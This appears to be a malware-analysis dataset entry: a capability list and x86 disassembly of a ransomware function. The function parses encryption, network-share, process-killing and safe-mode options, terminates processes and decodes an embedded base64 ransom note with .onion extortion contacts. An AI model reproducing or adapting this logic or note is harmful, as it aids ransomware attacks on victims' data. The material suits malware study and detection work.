Function at 0x407860
Capabilities:
Accept command line arguments
Create thread
Decode data using base64 via winapi
Empty the recycle bin
Enumerate processes
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
movlpd qword [ebp - 0x28], xmm0
push eax
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x4078fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x24], eax
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Error_while_parsing_arguments:__s
call fcn.00401330
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x2c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push edi
cmp ebx, 1
jg 0x407910
xor al, al
jmp 0x407931
mov edi, 1
push str.__verbose
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40792f
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407915
xor al, al
jmp 0x407931
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33c], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407948
xor al, al
jmp 0x40796c
mov edi, 1
nop dword [eax]
push str.__stop_processes
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40796a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407950
xor al, al
jmp 0x40796c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a338], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407983
xor al, al
jmp 0x4079ac
mov edi, 1
nop dword [eax + eax]
push str.__encrypt_network
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4079aa
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407990
xor al, al
jmp 0x4079ac
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a339], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4079c3
xor al, al
jmp 0x4079ec
mov edi, 1
nop dword [eax + eax]
push str.__load_drives
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4079ea
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4079d0
xor al, al
jmp 0x4079ec
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33b], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407a03
xor al, al
jmp 0x407a2c
mov edi, 1
nop dword [eax + eax]
push str.__silent
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407a2a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407a10
xor al, al
jmp 0x407a2c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33a], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jle 0x407abc
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__mode
push dword [eax]
mov dword [ebp - 0x260], eax
call esi
test eax, eax
je 0x407a64
cmp edi, ebx
jge 0x407abc
mov eax, dword [ebp - 8]
jmp 0x407a44
cmp edi, ebx
jge 0x407abc
mov eax, dword [ebp - 0x260]
mov eax, dword [eax + 4]
test eax, eax
je 0x407abc
movzx eax, word [eax]
add eax, 0xffffff9b
cmp eax, 0xe
ja case.0x407a87.103
movzx eax, byte [eax + 0x40837c]
jmp dword [eax*4 + 0x408368]
mov dword [0x4298b0], 0x13
jmp 0x407abc
mov dword [0x4298b0], 3
jmp 0x407abc
mov dword [0x4298b0], 0
jmp 0x407abc
mov dword [0x4298b0], 5
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x407b01
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__file
push dword [eax]
mov dword [ebp - 8], eax
call esi
test eax, eax
je 0x407af2
cmp edi, ebx
jge 0x407b01
mov eax, dword [ebp - 0x260]
jmp 0x407ad2
cmp edi, ebx
jge 0x407b01
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jmp 0x407b08
mov dword [ebp - 8], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x407b52
mov edi, 1
nop
lea eax, [eax + edi*4]
inc edi
push str.__dir
push dword [eax]
mov dword [ebp - 0x25c], eax
call esi
test eax, eax
je 0x407b43
cmp edi, ebx
jge 0x407b52
mov eax, dword [ebp - 0x260]
jmp 0x407b20
cmp edi, ebx
jge 0x407b52
mov edi, dword [ebp - 0x25c]
mov edi, dword [edi + 4]
jmp 0x407b54
xor edi, edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x407b6e
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00406050
add esp, 4
mov dword [ebp - 0x20], eax
jmp 0x407b75
mov dword [ebp - 0x20], 0
test edi, edi
je 0x407b8c
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
call fcn.00406050
add esp, 4
mov dword [ebp - 0x18], eax
jmp 0x407b93
mov dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407ba8
xor al, al
jmp 0x407bcf
mov edi, 1
nop dword [eax]
push str.__help
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407bcd
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407bb0
xor al, al
jmp 0x407bcf
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407be7
xor al, al
jmp 0x407c0f
mov edi, 1
nop dword [eax]
push str.__kill
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407c0d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407bf0
xor al, al
jmp 0x407c0f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407c27
xor al, al
jmp 0x407c4f
mov edi, 1
nop dword [eax]
push str.__safe_mode
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407c4d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407c30
xor al, al
jmp 0x407c4f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407c67
xor al, al
jmp 0x407c8f
mov edi, 1
nop dword [eax]
push str.__hide_cmd
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407c8d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407c70
xor al, al
jmp 0x407c8f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407ca7
xor al, al
jmp 0x407ccf
mov edi, 1
nop dword [eax]
push str.__no_background
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407ccd
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407cb0
xor al, al
jmp 0x407ccf
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407ce7
xor al, al
jmp 0x407d0f
mov edi, 1
nop dword [eax]
push str.__no_print
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407d0d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407cf0
xor al, al
jmp 0x407d0f
mov al, 1
cmp byte [ebp - 0x10], 0
mov byte [ebp - 0xb], al
je 0x407e2a
mov eax, dword [ebp - 0x28]
push dword [eax]
push str.Usage:__s__ARGUMENTS__n
call fcn.004012f0
push str.Arguments:_n
call fcn.00401330
push str._t__file__filePath___t_t_t_tEncrypt_only_specified_file_s__n
call fcn.00401330
push str._t_t__file_C:_temp.txt_n
call fcn.00401330
push str._t_t__file_C:_temp.txt_D:_temp2.txt_n
call fcn.00401330
push str._t__dir__dirPath___t_t_t_tEncrypt_only_specified_directory_ies__n
call fcn.00401330
push str._t_t__dir_C:_n
call fcn.00401330
push str._t_t__dir_C:_D:_n
call fcn.00401330
push str._t__mode__mode___t_t_t_t_tEncryption_mode_n
call fcn.00401330
push str._t_t__mode_fast__t_t_t_tEncrypt_5___from_entire_file_n
call fcn.00401330
push str._t_t__mode_medium__t_t_t_tEncrypt_15___from_entire_file__default__n
call fcn.00401330
push str._t_t__mode_slow__t_t_t_tEncrypt_25___from_entire_file_n
call fcn.00401330
push str._t_t__mode_entire__t_t_t_tEncrypt_100___from_entire_file_n
call fcn.00401330
push str._t__help__t_t_t_t_t_tPrint_this_message_n
call fcn.00401330
push str._t__verbose__t_t_t_t_tEnable_verbosity_n
call fcn.00401330
add esp, 0x40
push str._t__silent__t_t_t_t_tEnable_silent_encryption__no_extension_and_notes_will_be_added__n
call fcn.00401330
push str._t__stop_processes__t_t_t_tTry_to_stop_processes_via_RestartManager_n
call fcn.00401330
push str._t__encrypt_network__t_t_t_tEncrypt_network_shares_n
call fcn.00401330
push str._t__load_drives__t_t_t_t_tLoad_hidden_drives__will_corrupt_boot_loader__n
call fcn.00401330
push str._t__hide_cmd__t_t_t_t_tHide_console_window_n
call fcn.00401330
push str._t__no_background__t_t_t_tDont_change_background_image_n
call fcn.00401330
push str._t__no_print__t_t_t_t_tDont_print_note_on_printers_n
call fcn.00401330
push str._t__kill__t_t_t_t_t_tKill_processes_services_n
call fcn.00401330
push str._t__safe_mode__t_t_t_t_tEnter_safe_mode_n
call fcn.00401330
add esp, 0x24
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
cmp byte [0x42a33c], 0
je 0x407ed0
push str.Settings:_n
call fcn.00401330
cmp byte [0x42a33a], 0
mov esi, 0x4251e0
mov eax, esi
mov edi, 0x4251e4
cmove eax, edi
push eax
push 0x4251e8
call fcn.004012f0
cmp byte [0x42a338], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Try_to_stop_processes_via_RestartManager_n
call fcn.004012f0
cmp byte [0x42a339], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Encrypt_network_shares_n
call fcn.004012f0
cmp byte [0x42a33b], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Load_hidden_drives_n
call fcn.004012f0
cmp byte [ebp - 0xf], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Kill_processes_and_services_n
call fcn.004012f0
cmp byte [ebp - 0xe], 0
cmove esi, edi
push esi
push str._t__s__Enter_safe_mode_n_n
call fcn.004012f0
add esp, 0x34
cmp byte [ebp - 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x407fb9
cmp byte [0x42a33c], 0
je 0x407ef6
push str.___Killing_processes..._n
call fcn.00401330
add esp, 4
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x258], 0x22c
lea eax, [ebp - 0x258]
mov dword [ebp - 0x25c], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, 0x424c44
nop word [eax + eax]
mov edx, dword [esi]
lea ecx, [ebp - 0x234]
call fcn.004061f0
test eax, eax
je 0x407f8a
push dword [ebp - 0x250]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x407f8a
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x407f87
cmp byte [0x42a33c], 0
je 0x407f87
push dword [ebp - 0x250]
lea eax, [ebp - 0x234]
push eax
push str.___Proccess__s_with_PID:__d_was_killed_succesffully_n
call fcn.004012f0
add esp, 0xc
push edi
call ebx
add esi, 4
cmp esi, 0x424c5c
jl 0x407f30
mov edi, dword [ebp - 0x25c]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407f20
push edi
call ebx
call fcn.00406ba0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 8]
push 0
push 0
push eax
push 0
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
mov dword [ebp - 8], 0
call edi
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
je 0x408031
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x408031
push 0
push 0
lea eax, [ebp - 8]
push eax
push esi
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call edi
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
jne 0x408093
push esi
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x42a33c], 0
mov dword [0x42a340], 0
je 0x40807f
push 0
push 0x80
lea ecx, [ebp - 0x12c]
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Failed_to_decode_readme:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
